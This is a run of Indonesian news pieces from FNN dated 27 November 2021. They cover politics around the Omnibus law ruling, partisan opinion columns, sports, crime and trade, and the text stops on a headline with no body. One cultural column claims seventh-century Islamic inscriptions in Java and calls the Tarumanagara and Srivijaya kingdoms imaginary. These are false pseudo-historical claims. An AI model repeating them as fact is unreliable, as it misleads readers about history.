Jakarta, FNN – Pemaksaan pemberlakuan UU Omnibus Law telah menghasilkan dampak negatif yang sangat serius. Apalagi setelah diteliti oleh Mahkamah Konstitusi (MK), UU tersebut ternyata inkonstitusional. Ini tertuang dalam putusan No. 91/PUU-XVIII/2020 dalam perkara Pengujian Formil Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja terhadap Undang-Undang Dasar Negara Republik Indonesia Tahun 1945. Menyikapi putusan MK, Koalisi Aksi Menyelamatkan Indonesia (KAMI) menghimbau agar semua pihak patuh dan taat kepada putusan MK tersebut, di mana MK secara konstitusional adalah lembaga yang merupakan benteng terakhir penjaga konstitusi negara Indonesia (Code of Conduct kepada MK). Rilis Presidium KAMI yang ditandatangani oleh Jenderal TNI (Purn.) Gatot Nurmantyo, Prof. DR. Rochmat Wahab, dan Prof. DR. M. Din Syamsuddin menyatakan bahwa pemberlakuan UU Omnibus Law merupakan kecerobohan pemerintah yang nyata. “Ini merupakan kecerobohan pemerintah dalam menegakkan hukum dengan menangkap dan menahan warga negara sehingga mengalami penderitaan lahir dan batin,” katanya kepada FNN.co.id (Sabtu, 27/11/2021) di Jakarta. KAMI menegaskan terkabulnya uji formil Undang-Undang Nomor 11 tahun 2020 tentang Cipta Kerja membuktikan bahwa substansi gugatan yang merupakan protes, kritik, dan masukan dari masyarakat luas terhadap Undang-Undang tersebut adalah benar secara konstitusional. Dengan demikian sikap pemerintah yang tidak aspiratif sejak sebelum Omnibus Law menjadi Undang-Undang dapat dinilai sebagai suatu kesalahan. KAMI menyarankan, untuk menyelamatkan konstitusi, sudah seharusnya masyarakat ikut berpatisipasi, seperti yang dilakukan masyarakat terhadap UU Cipta Kerja. Tanpa ada kritik dan masukan dari masyarakat, maka sama saja dengan kita membiarkan UU yang melanggar konstitusi dan nilai-nilai demokrasi terus dipergunakan. Partisipasi masyakat ini harus dipandang sebagai fungsi check and balance yang masih berjalan, bukan sebagai ancaman bagi kekuasaan pemerintah. Berbagai aksi protes terhadap UU Cipta Kerja di berbagai daerah hingga menimbulkan kerusakan fasilitas umum, korban jiwa dan penangkapan-penangkapan juga harus dilihat sebagai konsekuensi dari sikap keras pemerintah yang memaksakan UU Cipta Kerja segera diberlakukan meskipun negara masih dalam kondisi krisis dan rakyat sangat menderita akibat pandemi Covid-19. Pemerintah seharusnya beritikad baik untuk segera menghentikan proses peradilan, dan memvonis bebas Aktivis KAMI seperti Jumhur Hidayat dan Anton Permana, serta merehabilitasi nama dan kehormatan aktifis KAMI Syahganda Nainggolan yang telah divonis dan dipenjarakan secara semena-mena. Selayaknya pemerintah juga merehabilitasi nama dan kehormatan para korban lainnya yang meninggal dunia akibat kekerasan aparat saat berlangsungnya aksi massa memprotes UU Cipta Kerja, atau yang telah ditangkap, diadili dan dipenjarakan oleh negara karena dianggap sebagai penghalang berlakunya UU Cipta Kerja, demi tegaknya kembali kewibawaan pemerintah di dalam sistem negara hukum. (sws)

Simone Inzaghi Akui Banyak Terbantu Beradaptasi Tangani Inter

Jakarta, FNN - Simone Inzaghi mengakui dirinya banyak terbantu selama proses beradaptasi sejak diberi kepercayaan menangani klub juara bertahan Liga Italia, Inter Milan, mulai musim panas lalu. Bantuan-bantuan yang datang itu cukup memuluskan langkah Inzaghi mencapai target-targetnya termasuk kepastian meloloskan diri ke babak 16 besar Liga Champions lewat kemenangan atas Shakhtar Donetsk pada tengah pekan kemarin. Momentum tersebut memberi kesempatan pula bagi Inzaghi berkonsentrasi menjaga posisi Inter dalam perburuan gelar juara Liga Italia dan Nerazurri baru saja mengalahkan Venezia 2-0 di Pier Luigi Penzo pada Sabtu waktu setempat (Minggu WIB) demi terus mendekatkan diri ke puncak klasemen. "Seseorang pernah bilang, seharusnya ini jadi tahun transisi dan rekonstruksi," kata Inzaghi selepas pertandingan dikutip dari laman resmi Inter. "Saya tiba di sini dan mendapati klub yang banyak membantu saya dalam segalanya, juga orang-orang yang luar biasa dan saya pikir kami terus bertumbuh dari hari ke hari. "Target pertama lolos ke babak 16 besar Liga Champions sudah tercapai, dan sekarang kami bisa berkonsentrasi dalam persaingan gelar juara Liga Italia," ujarnya panjang lebar. Kemenangan atas Venezia juga disebut Inzaghi jadi cara yang baik dalam menutup periode pekan sibuk, setelah mengalahkan Napoli Minggu (21/11) lalu dan meloloskan diri ke babak 16 besar Liga Champions. Ia memuji penampilan para pemainnya yang dinilainya bermain luar biasa meski harus menjalani pertandingan ketiga dalam rentang waktu enam hari. "Memang tidak mudah main tiga kali dalam enam hari, tetapi kami tidak kehilangan karakter menghadapi lawan yang tampil baik," katanya. "Satu-satunya cela adalah kami tidak segera mendapatkan gol kedua itu dan membuat pertandingan tetap terbuka adalah hal berisiko melawan tim seperti Venezia. Tapi saya memahami main tiga kali dalam sepekan bukanlah sesuatu yang biasa, para pemain tampil bagus," tutup Inzaghi. Kemenangan membuat Inter yang ada di posisi ketiga klasemen kini memiliki 31 poin atau hanya tertinggal satu poin di bawah Napoli (32) dan AC Milan (32) yang baru main sehari berselang. (mth)

Omnibus Tertabrak Bus

By M Rizal Fadillah Aksi-aksi penentangan saat pengundangan aturan Omnibus Law atau UU Cipta Kerja dibuldozer penguasa. Korban berjatuhan baik luka-luka dari para pengunjuk rasa maupun penangkapan aktivis yang sengaja dikait-kaitkan. Di antaranya mahasiswa dan tokoh-tokoh KAMI. UU Cipta Kerja yang awalnya RUU Cipta Lapangan Kerja yang diplesetkan RUU Cilaka diproses dengan mengabaikan prosedur hukum yang semestinya dan diketuk tergesa-gesa. Ada nuansa pesanan dari korporasi baik lokal maupun asing. Eksplorasi investasi dengan fasilitasi regulasi. Pemihakan bukan pada tenaga kerja tetapi pada pengusaha. Mahkamah Konstitusi (MK) melakukan penyidangan gugatan dan memutuskan bahwa UU Cipta Kerja bertentangan dengan UUD 1945 artinya inkonstitusional. Akan tetapi lucu Putusan MK No 91/PUU-XVIII/2020 tanggal 5 November 2021 itu "bersyarat". Dapat dilakukan perbaikan dua tahun. Putusan seperti ini tidak konsisten alias ambivalen. MK masih menjadi lembaga Peradilan yang terkesan bisa dibisiki atau dilobi. Untuk menyenangkan sana-sini. Faktanya UU Cipta Kerja itu telah gagal diimplementasikan. Investasi asing yang diharapkan datang atas bentangan karpet merah regulasi ternyata tersendat. Ditambah pandemi yang membuat Pemerintah semakin kalang kabut. UU No 11 tahun 2020 tentang Cipta Kerja bukan saja inkonstitusional tetapi juga gagal. Komplit kekacauan Pemerintahan Jokowi yang memang gemar menginjak-injak hukum. Omnibus Law mampu melabrak hadangan kendaraan kecil. Aksi-aksi sporadis. Akan tetapi kini dengan Putusan MK tersebut, maka Omnibus tertabrak bus. Meski belum ringsek tetapi telah membuat sopir luka parah. UU Cilaka mengalami kecelakaan. Berapa kerugian yang diderita dengan kecelakaan ini? 12 Rektor Perguruan Tinggi ternama ambil bagian, puluhan mungkin ratusan pakar dan tokoh masyarakat ikut dibayar. Hasilnya UU Omnibus Kacau. Jika undang-undang dibuat bukan untuk kepentingan rakyat dan wakil rakyat ikut memanipulasi aspirasi masyarakat, maka undang-undang itu secara filosofis, yuridis, maupun sosiologis dipastikan bermasalah. Apalagi jika faktanya memang terlalu banyak selundupan kepentingan. Kini UU Omnibus tertabrak bus, masuk bengkel untuk dua tahun, sopir yang terluka mengalami gegar otak. Betapa kaget dokter yang mengoperasi setelah dibedah ternyata sang sopir tidak punya otak. *) Pemerhati Politik dan Kebangsaan.

Prasasti Kebon Raja dan Nisan Banggai

Oleh Ridwan Saidi SALAH satu makam Islam tertua di abad VII M berada di Kabupaten Banggai Kepulauan, Sulawesi Tengah. Jelas dalam nisan kuburan tertulis tahun 67 H atau 688 M. Nisan abad VII M ini sampai sekarang masih terjaga. Dan terdapat pula satu makam yang wafat di tahun 168 H atau 790 M yaitu sheikh Sya'ban (di Tangerang ada Rawa Sa'ban). Dan ini jelas membantah dongeng yang mengatakan Islam masuk Indonesia baru pada abad XIII M. Sebelah timur Banggai Kepulauan laut Maluku, letak makam tidak jauh dari radius zona ekonomi Malluku. Maluku salah satu tujuan pelayar-pelayar dari Afro Swahili dan Arab. Prasasti Kebon Raja Bogor (photo atas) dan nisan Troloyo, Jatim, beraksara Nabathaen yang banyak dipengaruhi aksara Aram. Seorang arkaeolog UI, mungkin karena tak mampu baca aksara lalu menyebut prasasti Kebon Raja, sebagai prasasti palsu. Pendapatnya hasil kutipan dari seorang arkaeolog bulé yang mengatakan itu palsu. Kepadanya saya berondong pertanyaan: aksara yang digunakan apa, dan apa pula tujuan memalsu. Ia tak menjawab, dan hanya tertunduk. Saya menduga ia menghitung ubin di lantai. Saya mengeja Kebun Raja bukan Kebun Raya karena prasasti Kebantenan sebut Sunda Sembawa atau Sundanesse Quartier. Itulah Kebun Raja. Ketika semangat anti feodal yang tidak proporsional menggelegak Kebun Raja diganti Kebun Raya. Kok pisang raja tak diganti pisang raya? Pergantian script di Arab dari Nabathaen ke Hijaiyah terjadi 651 M, dapat disimpulkan prasasti Kebun Raja dan nisan Troloyo yang beraksara Nabathaen dibuat sebelum 651 M. Banggai tahun 688 M sudah gunakan Hijaiyah. Kebon Raja maupun Troloyo mengandung teks syahadat, la ila Hu. Tidak ada, selain Tuhan. Berdasarkan bukti ini Islam telah masuk Andunisi pada VII M. Prasati Tuk Mas Semarang selatan beraksara Venggi bahasa Khmer Hind. Kemungkinan pembuat prasasti datang dari Champa atau Kompong Chom. Prasasti membahas ajaran Islam tentang berserah diri: Apakah berserah diri mudah. Itu laksana membuat pipa (cangklong) dari pasir. Membuat pipa dari pasir. Maknanya tidak mudah. Ungkapan yang amat berkelas. Masih banyak bukti yang dapat saya tunjukkan: 1. Mesjid atap terbuka pola Karbala di Malangka, Luwu utara. 2. Koin emas koleksi museum Aceh dan Fadli Zon. Juga jambia Emirate di Aceh. Butir 1 dan 2 abad VII M. Tarumanagara dan Sriwijaya khayal, tak dapat dijadikan alat bukti. Paling-paling untuk mendukung lagu Melayu nyanyian Hasnah Thahar tahun 1954: Khayal dan Penyair. Mengapa kau mengkhayal Khayal menggoda hati Kar'na aku haus akan keindahan. *) Budayawan

Safari Anies Baswedan, Tampaknya Sudah Dimulai

Oleh Ady Amar *) GERAK Anies memang selalu terukur. Sepertinya ada tahap-tahap yang dimungkinkan kapan ia diam, kapan bicara, kapan melangkah dan seterusnya. Seolah ia pantang bergerak jika waktu untuk bergerak belum tiba. Semuanya tampak (seolah) serba terukur. Banyak yang berharap ia mesti bicara, sudah masuk waktu untuk berbicara dan melangkah, tapi tidak dilakukannya. Ia suntuk dengan rutinitas kerja selaku Gubernur DKI Jakarta. Tapi dalam bulan ini, setidaknya ada pemandangan menarik bahkan masuk kategori menakjubkan, Anies mulai bergerak mendatangi komunitas yang memang menunggu kedatangannya. Anies mulai bersafari, turba yang disambut riang mereka yang berharap padanya. Tapi hal wajar jika safari itu tidak disuka oleh kelompok yang tidak ingin Anies melangkah lebih jauh dari yang sekarang. Anies tampaknya sudah mengukur, bahwa kini saatnya ia mendatangi komunitas lebih luas lagi, yang tidak hanya di seputaran wilayah kerjanya. Langkah Anies itu bisa diibaratkan suara adzan terdengar memanggil, dan Anies bergerak mendatanginya. Sedang sebelumnya, yang didengar Anies hanya suara tarhim, itu pun terdengar dari kejauhan. Makanya ia pantang bergerak. Itu semacam pakem yang dipegangnya erat, pantang untuk dilanggar-diingkari. Memang sedikit tampak mengherankan, Anies tampil di acara penuh canda, Lapor Pak, yang tayang di televisi swasta. Bahkan Anies tampak siap saat harus di roasting komika Kiki Saputri. Anies tampil elegan, bahkan membalas candaan yang juga mampu menghadirkan gelak tawa. Anies yang sebelumnya terkesan serius, bahkan kaku, itu justru tampak sebaliknya, cair. Ternyata ia punya sense of humor yang lumayan. Siap "dikerjai", itu bisa jadi karena ia tidak punya dosa jadi celah untuk dikuliti. Maka, Kiki Saputri, yang terkenal "ganas" itu tak mampu maksimal menggoda Anies, bahkan tak tampak berhasil, karena ia tidak mampu membuat Anies salah tingkah apalagi kesal dengan roastingannya. Tidak sebagaimana bintang tamu lainnya yang di roasting tergagap ketakutan, yang sampai mengucap, "Cukup... sudah jangan diteruskan...". Anies tampil sebagai pribadi tanpa beban dosa yang dipikul, sehingga ia bisa tampil dalam medan apapun. Ia tidak merasa jengah dengan pertanyaan yang memang diopinikan dengan tidak sebenarnya. Justru ia punya waktu untuk menjelaskan semuanya, yang disesuaikan dengan tempat di mana ia bisa menjelaskan tuduhan tidak berdasar yang disematkan padanya. Saatnya Tampil, Saatnya Bicara Anies Baswedan mulai "bergerak", sebagaimana keinginan kelompok yang mengidolakan. Tetapi tugas-tugas selaku Gubernur DKI Jakarta tetap jadi nomor satu. Gerak Anies itu justru kesempatan untuk menjelaskan progres apa yang sudah dan tengah dikerjakan. Maka, setidaknya dalam bulan November ini, ada tiga tampilan Anies yang memukau: Hadir di Lapor Pak, di Podcast Deddy Corbuzier dan Podcast DISWAY Dahlan Iskan. Itulah kesempatan Anies menampilkan sisi tidak biasa, ternyata Anies punya tingkat kelucuan lumayan ( Lapor Pak). Anies tampil santai tidak seperti biasanya, yang tampak serius. Sisi humanis seorang Anies mampu tampil santai dan menghibur. Tidak tampak ia gusar meski diberondong dengan kelucuan Kiki Saputri yang menyengat. Tidak kalah juga Deddy Corbuzier, yang acap ingin memancing kemarahan seorang Anies Baswedan, bahkan sampai menyebutnya dengan "kadrun" ala buzzerRp, dan itu pun tidak sampai buat Anies tergopoh menjawabnya. Meski ia tampak berpikir sejenak untuk menjawab dengan kalimat yang pas. Di situ justru Anies mampu jadikan itu sebagai panggung untuk menyumpal suara-suara sumbang yang selama ini hadir menyuarakan opini dusta. Anies leluasa bisa mematahkan opini apa saja yang berkembang, yang sengaja dikembangkan dengan tidak sebenarnya, yang lalu jadi kesempatan ia menjelaskan duduk perkara sebenarnya. Isu-isu berkenaan dengan perhelatan Formula E, ia terangkan dengan benderang. Sedang interpelasi dari Fraksi PDIP dan PSI DPRD, yang ingin "menghentikan" ajang lomba mobil listrik itu tampak memaksakan hal di luar kepatutan. Anies menjelaskan, bahwa gelaran Formula E itu sudah menjadi kesepakatan antara Pemprov DKI dan DPRD. Saat itu, terang Anies, bahwa anggaran Formula E dalam pembahasan APBD DKI tahun 2019, dan itu disepakati bersama Anggota DPRD periode 2014-2019 sesaat sebelum masa jabatannya berakhir. Ajang Formula E, itu program dari Pemprov DKI Jakarta, ada perdanya. Masuk dalam anggaran APBD. Maka, Pemrov DKI punya kewajiban melaksanakan kewajiban Perda. Itu perintah konstitusi, harus melaksanakan. Maka, Anies menanyakan sebuah tanya, yang mestinya bisa membuka pikiran kusut mereka yang selama ini nyinyir tanpa sebab, "Di mana letak masalahnya?" ungkap Anies. Menjadi mengherankan jika hal yang sudah disepakati, lalu ingin diingkari. Syukur hanya dua fraksi (PDIP dan PSI) yang "mabuk" dengan mempersoalkan hal yang tidak sepatutnya dipersoalkan. "Ketika ada yang bilang 'kenapa uangnya enggak buat nanganin Covid?' Lah sudah di bayar 2019 dan 2020. Ketika Covid kejadian, itu uangnya sudah dibayar, sudah dikirim. Jadi, kita enggak ada pengeluaran baru (saat masa pandemi) ke mereka..." Penjelasan Anies yang rinci dan gamblang, yang orang dengan otak dikit saja mestinya faham melihat persoalan yang acap disoal dengan tidak semestinya, bahkan dengan fitnah segala. Tapi jika masih aja ada yang nyinyir, ya itu hal yang memang diniatkan nyinyir sepanjang masa pada Anies. Atau setidaknya sampai pergelaran Pilpres 2024. Ada satu hal lagi dalam Podcast Deddy Corbuzier, yang beri kesempatan klarifikasi dan bahkan Anies mempertanyakan tuduhan atasnya, terkait radikalisme, ekstrimisme hingga intoleran kepada minoritas di Jakarta. Tuduhan intoleran khususnya, itu sudah disematkan pada Anies sejak ia maju sebagai Calon Gubernur 2017. Tuduhan memang boleh-boleh saja, sebab itu merupakan buah pikiran seseorang yang tidak bisa dikendalikan. "Kita itu tidak bisa ngatur pikiran orang. Yang cuma bisa diatur hanya tindakan. Negara pun cuma bisa gitu, mengatur tindakan. Tapi pikiran dan perasaan nggak bisa diatur. Jadi semua orang boleh berpikiran," ujar Anies. Maka, setelah 4 tahun menjabat, Anies mempertanyakan, adakah ia melakukan tindakan intoleran pada minoritas di Jakarta. Mestinya, ujar Anies, mereka yang menuduh itu bisa menunjukkan bukti atas tuduhannya itu. Dan, tuduhan pada Anies yang demikian, itu tampaknya memang diskenariokan. Tapi setidaknya penjelasan Pak Anies itu memadai. Hal-hal demikian memang pantas untuk terus disampaikan, sekaligus menantang mereka untuk bisa membuktikan tuduhan tidak berdasar itu. Sedang saat tampil dengan Pak Dahlan Iskan (DI), ada dua hal yang jadi pilihan pembahasan. Pertama, progres pembangunan Jakarta International Stadium (JIS) dan Transportasi yang terintegrasi di Jakarta. Di akhir podcastnya, Pak DI mengatakan, Pak Anies adalah pribadi yang mampu memaparkan apa yang dikerjakannya dengan sistematis. Dan memang Anies menguraikan tentang JIS dan transportasi bagi warga Jakarta yang terintegral itu dengan rinci dan mengagumkan. Tampak kekaguman pada rona Pak DI, yang tidak mampu disembunyikan. Dan mustahil bisa menyembunyikan sesuatu yang memang nyata... Saya dan juga Anda yang memilih ada di barisan yang ingin selalu berpikir dan punya sikap obyektif, pastilah ikut terkagum pada goodbener satu ini, Anies Baswedan. Itu memang sewajarnya. (*) *) Kolumnis

Merah Putih Loloskan Dua Wakil ke Final Indonesia Open 2021

Jakarta, FNN - Dua dari tiga wakil Merah Putih yang tampil pada semifinal, Sabtu, 27 November 2021, lolos ke partai puncak turnamen Indonesia Open 2021 yang akan berlangsung Ahad, 28 November 2021 besok, di Bali Convention Center, Nusa Dua. Ganda putri andalan Greysia Polii/Apriyani Rahayu menjadi wakil pertama Indonesia yang melaju ke final turnamen bulu tangkis level super 1000 itu setelah mengalahkan pasangan Thailand Jongkolphan Kititharakul/Rawinda Prajongjai 21-18, 21-14. Pertandingan besok menjadi laga final pertama bagi ganda putri peringkat enam dunia itu usai meraih medali emas Olimpiade Tokyo 2020 pada Juli lalu. Pada babak final, unggulan kedua Greysia/Apriyani bakal menantang unggulan keempat asal Jepang yang juga juara Indonesia Masters 2021 Nami Matsuyama/Chiharu Shida. Secara statistik ganda putri Indonesia itu unggul 2-0 dalam pertemuannya dengan Matsuyama/Shida. Skuad Merah Putih menambah satu wakilnya dalam final Indonesia Open 2021 setelah ganda putra peringkat satu dunia Kevin Sanjaya Sukamuljo/Marcus Fernaldi Gideon menang pada babak empat besar. Pasangan berjuluk Minions itu menang dua gim langsung 21-16, 21-18 atas Satwiksairaj Rankireddy/Chirag Shetty dari India. Pada partai puncak besok, Marcus/Kevin yang telah mengantongi 10 kemenangan dari 11 pertemuan melawan Hoki/Yugobashi, dalam misi menuntaskan revans terhadap wakil Jepang tersebut setelah kalah dalam final Indonesia Masters 2021 pekan lalu. Sayangny Indonesia belum berhasil mengirimkan satu wakilnya dari sektor tunggal putra ke final setelah Jonatan Christie menyerah 19-21, 15-21 kepada pemain Denmark unggulan kedua Viktor Axelsen. Jepang menjadi negara yang mendominasi partai final Indonesia Open 2021. Selain nomor ganda putri dan putra, Negeri Sakura juga meloloskan ganda campuran Yuta Watanabe/Arisa Higashino yang menjuarai Denmark Open 2021 dan French Open 2021. (MD).

Digandrungi Kaum Milenial, Industri Modifikasi Otomotif Punya Potensi Berkembang

Jakarta, FNN - Ketua Umum Ikatan Motor Indonesia (IMI) Pusat, Bambang Soesatyo mengatakan, industri modifikasi otomotif diperkirakan dapat berkembang dengan baik. Hal itu seiring dengan peningkatan minat serta kecenderungan kaum muda memodifikasi kendaraan. Menurut Bambang, 80 persen anak muda pada saat ini memilih mobil yang tidak standar atau dengan kata lain melakukan modifikasi kendaraan yang baru dibeli. Hal tersebut juga didukung oleh bonus demografi yang akan didapatkan Indonesia. Pada 2045, diperkirakan penduduk Indonesia akan bertambah dari 270 juta pada saat ini menjadi lebih dari 380 juta. Dari jumlah itu, 70 persen di antaranya didominasi usia produktif sementara 60 persennya adalah perempuan. Kondisi tersebut, lanjutnya, merupakan ruang atau ceruk pasar yang cukup besar yang dapat dibidik oleh industri otomotif. “Kalau kita lihat segmennya, perempuan-perempuan sekarang ini atau anak muda cenderung memilih kendaraan-kendaraan yang fashionable. Ada rasa ketidakpuasan dalam memiliki mobil standar sehingga mereka mengubah bentuknya,” kata Bambang saat membuka gelaran modifikasi Motobike Show di Dome SPARK, Senayan Park, Jakarta, Sabtu, 27 November 2021. Ia menyebutkan terjadi lonjakan penjualan roda empat maupun roda dua sebesar 67 persen atau 703.000 kendaraan terjual sepanjang Januari hingga Oktober “Itu artinya di tengah keterpurukan seluruh bidang dari kesehatan, ekonomi, dan seluruh gaya hidup kita juga berubah tapi ada transaksi dan pertumbuhan ekonomi masih tetap ada,” tutur Ketua Majelis Permusyawaratan Rakyat (MPR) RI itu. Ia mengapresiasi pihak swasta yang menyelenggarakan event modifikasi karena dapat mendorong pelaku usaha untuk ikut menekuni keahlian mereka dalam memodifikasi kendaraan. “Kita masih banyak membutuhkan kendaraan-kendaraan, apalagi saya melihat ke depan pilihan pameran modifikasi roda dua maupun roda empat ini pilihan yang tepat,” ujarnya sebagaimana dikutip dari Antara. Bambang mengatakan, pihaknya akan mendorong mobil dan motor hasil modifikasi atau yang berubah total dari standarnya dapat memiliki izin jalan di jalan raya sesuai dengan perundang-undanganan lalu lintas. “Yang terpenting kami memberi dorongan kepada anak muda kita agar hasil karyanya itu bisa layak jalan di jalan raya dan teruji dari sisi keselamatannya,” ujarnya. (MD).

Polisi Tangkap Pelaku Mutilasi di Kedungwaringin

Jakarta, FNN - Tim gabungan Polres Metro Bekasi dan Polda Metro Jaya berhasil meringkus terduga pelaku pembunuhan disertai mutilasi yang membuang jasad korbannya di tepi jalan di Kecamatan Kedungwaringin, Kabupaten Bekasi. "Terduga pelaku sudah ditangkap, tetapi masih ada terduga pelaku lain," kata Kepala Bidang Hubungan Masyarakat Kepolisian Daerah Metro Jaya, Komisaris Besar (Kombes) Endra Zulpan, saat dikonfirmasi di Jakarta, Sabtu, 27 November 2021. Zulpan mengatakan saat. ini tim gabungan masih bergerak melakukan pengejaran terhadap pelaku lainnya. Namun, dia belum bersedia menjelaskan lebih lanjut kasus tersebut, agar tidak membuat panik para terduga pelakunya sehingga berupaya menghilangkan barang bukti. "Saat ini belum bisa saya sampaikan, nanti saat rilis akan saya sampaikan semua," ujarnya. Dikonfirmasi terpisah, Direktur Reserse Kriminal Umum Polda Metro Jaya, Kombes Tubagus Ade Hidayat, membenarkan, penangkapan dua terduga pelaku. "Alhamdulillah dua terduga pelaku sudah tertangkap," kata Tubagus saat dikonfirmasi, Sabtu. Tubagus mengatakan ada tiga orang yang diduga terlibat dalam kasus pembunuhan disertai mutilasi tersebut. "Diduga ada tiga orang. Ini masih kita dalami. Dua sudah tertangkap, satu lagi on progress," ujarnya sebagaimana dikutip dari Antara. Adapun dua terduga pelaku yang telah ditangkap saat ini masih berstatus saksi. Meski demikian, penyidik telah mengantongi cukup alat bukti untuk menetapkan keduanya sebagai tersangka. "Status keduanya belum tersangka. Tapi sudah ada cukup kuat untuk kita jadikan tersangkanya," tuturnya. (MD).

Anies Hadirkan Lapangan Ingub Muara Angke Bertaraf Internasional

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menghadirkan Lapangan Ingub Muara Angke, Jakarta Utara, yang berstandar internasional dengan kualitas rumput sintetis bersertifikat FIFA. Anies mengatakan kehadiran Lapangan Ingub yang berlokasi di Jalan Dermaga Pluit itu terinspirasi Sekolah Dasar Inpres untuk memenuhi pelayanan aktivitas olahraga masyarakat menengah ke bawah. "Lapangan sepak bola berstandar kelas dunia ini nantinya akan dapat digunakan oleh seluruh lapisan masyarakat," kata Anies melalui keterangan tertulis di Jakarta, Sabtu, 27 November 2021. Anies menuturkan Lapangan Ingub tidak akan dioperasikan secara komersial sehingga seluruh masyarakat DKI Jakarta dapat menggunakan secara gratis sesuai peraturan perundang-undangan yang berlaku. Selain menggunakan rumput standar FIFA, Lapangan Ingub juga dilengkapi sarana pendukung, seperti backstop dan lampu lapangan, serta fasilitas pendukung lainnya. Terkait dengan peraturan penggunaan lapangan, Anies menyebut bahwa diperlukan adanya pengaturan agar kualitas lapangan yang sudah sangat baik ini dapat terus terjaga. Oleh karena itu, Dinas Pemuda dan Olahraga Provinsi DKI Jakarta meluncurkan aplikasi E-Booking Fasilitas Olahraga sebagai alat pemesanan fasilitas olahraga secara elektronik dan saat ini, aplikasi E-Booking Fasilitas Olahraga sudah terintegrasi dengan super app Jakarta Kini (JAKI). "Nantinya, seluruh masyarakat DKI Jakarta yang ingin menggunakan fasilitas-fasilitas olahraga milik Pemerintah Provinsi DKI Jakarta dapat memanfaatkan layanan ini secara gratis. Cukup dengan mengunduh aplikasi JAKI melalui perangkat seluler," ucap Anies, sebagaimana dikutip dari Antara. Diinformasikan, Lapangan Ingub Muara Angke ini memiliki luas lahan sebesar 12.500 meter persegi. Fasilitas ini merupakan aset Pemerintah Provinsi DKI Jakarta (KIB A Sudinpora Jakarta Utara) dan hasil dari revitalisasi tahun 2019 melalui dana pelampauan Koefisien Lantai Bangunan (KLB). (MD).

Potensi ekspor cangkang sawit RI ke Jepang capai 12 juta dolar AS

Jakarta, FNN - Pelaku usaha Indonesia berhasil membukukan potensi transaksi cangkang sawit untuk diekspor ke Jepang dengan nilai mencapai 12 juta dolar AS per tahun. Hal itu merupakan hasil temu bisnis antara pelaku usaha cangkang sawit Indonesia dan pelaku usaha industri biomassa Jepang yang terlaksana di Pekanbaru, Riau, 24 November 2021. “Untuk menjaga surplus neraca perdagangan, pemerintah terus berupaya mengembangkan produk dan komoditas berpotensi ekspor dengan permintaan dan nilai jual yang tinggi di pasar global. Salah satu komoditas tersebut adalah cangkang kelapa sawit,” ujar Direktur Jenderal Pengembangan Ekspor Nasional Kementerian Perdagangan (Kemendag), Didi Sumedi lewat keterangannya di Jakarta, Sabtu, 27 November 2021 Pertemuan bisnis tersebut difasilitasi Kementerian Perdagangan bersama Japan External Trade Organization (JETRO) Jakarta dan Asosiasi Pengusaha Cangkang Sawit (APCASI). Jepang saat ini merupakan pasar terbesar bagi cangkang sawit. Diperkirakan, negara sakura tersebut akan terus menjadi pasar utama komoditas tersebut. Hal itu disebabkan oleh kebijakan energi Jepang yang menetapkan 24 persen pemenuhan energi di Jepang pada 2030 harus berasal dari energi baru dan terbarukan (renewable energy). Direktur Kerja Sama Pengembangan Ekspor Kemendag, Marolop Nainggolan menyampaikan, pihaknya akan terus mendorong peningkatan ekspor cangkang sawit ke Jepang lewat kerja sama dengan berbagai pemangku kepentingan. “Ditjen Pengembangan Ekspor Nasional Kemendag bersama Japan External Trade Organization berupaya mempertahankan dan meningkatkan ekspor cangkang sawit ke Jepang. Salah satu bentuk kerja sama tersebut adalah melalui kegiatan one-on-one business matching kali ini,” ujar Marolop sebagaimana dikutip dari Antara. Marolop menambahkan, Kemendag mengundang para calon pembeli supaya meninjau langsung gudang dan pabrik pengolahan. Hal itu supaya semakin yakin dengan kualitas cangkang sawit Indonesia. “Selain melalui pertemuan bisnis, kami juga mengajak pelaku usaha Jepang mengunjungi stockpile dan pabrik penghasil cangkang sawit di daerah Siak dan Dumai. Kami harap calon mitra bisnis dari Jepang meyakini besarnya potensi cangkang kelapa sawit Indonesia dan berminat menjalin kerja sama bisnis jangka panjang dengan pelaku usaha lokal,” kata Marolop. Temu bisnis dengan pelaku usaha Jepang sebelumnya pada April 2021 yang lalu telah berhasil menelurkan pengiriman cangkang sawit oleh PT Internasional Green Energy sebanyak 10.000 ton. PT Prima Khatulistiwa Sinergi sebanyak 11.000 ton pada awal November 2021 guna memenuhi kontrak pengiriman per bulan secara kontinu ke pasar Jepang. Lalu, pada awal Desember 2021, akan dikirim cangkang sawit sebanyak 20.000 ton oleh PT Jatim Propertindo untuk memenuhi kontrak serupa dengan perusahaan di Jepang. Produksi cangkang sawit dunia sebagian besar berada di Indonesia. Ekspor produk cangkang sawit Indonesia pada Januari–September 2021 telah mencapai 286 juta dolar AS. Angka tersebut meningkat 27,01 persen dibandingkan dengan periode yang sama pada 2020. Negara tujuan ekspor utama produk cangkang sawit Indonesia adalah Jepang dengan pangsa sebesar 84,5 persen dari total ekspor cangkang sawit Indonesia. Kemudian, diikuti Thailand, Singapura, Korea Selatan, dan India. Pasokan cangkang sawit di Indonesia berasal dari Jambi, Riau, Sumatera Barat, Kalimatan Tengah, dan Sumatra Utara. Kompetitor utama Indonesia dalam produk cangkang sawit adalah Malaysia dan Thailand. Namun demikian, eksportir cangkang sawit Indonesia disebut menghadapi kompetisi yang relatif ketat dengan eksportir Malaysia. Harga cangkang sawit di Malaysia relatif lebih murah dan stabil, Sedangkan harga di Indonesia fluktuatif dan cenderung naik akibat bea keluar dan pungutan ekspor, serta kurangnya infrastruktur pendukung. (MD).

Polisi Miliki CCTV Di Lokasi Penembakan Orang Di Exit Tol Bintaro

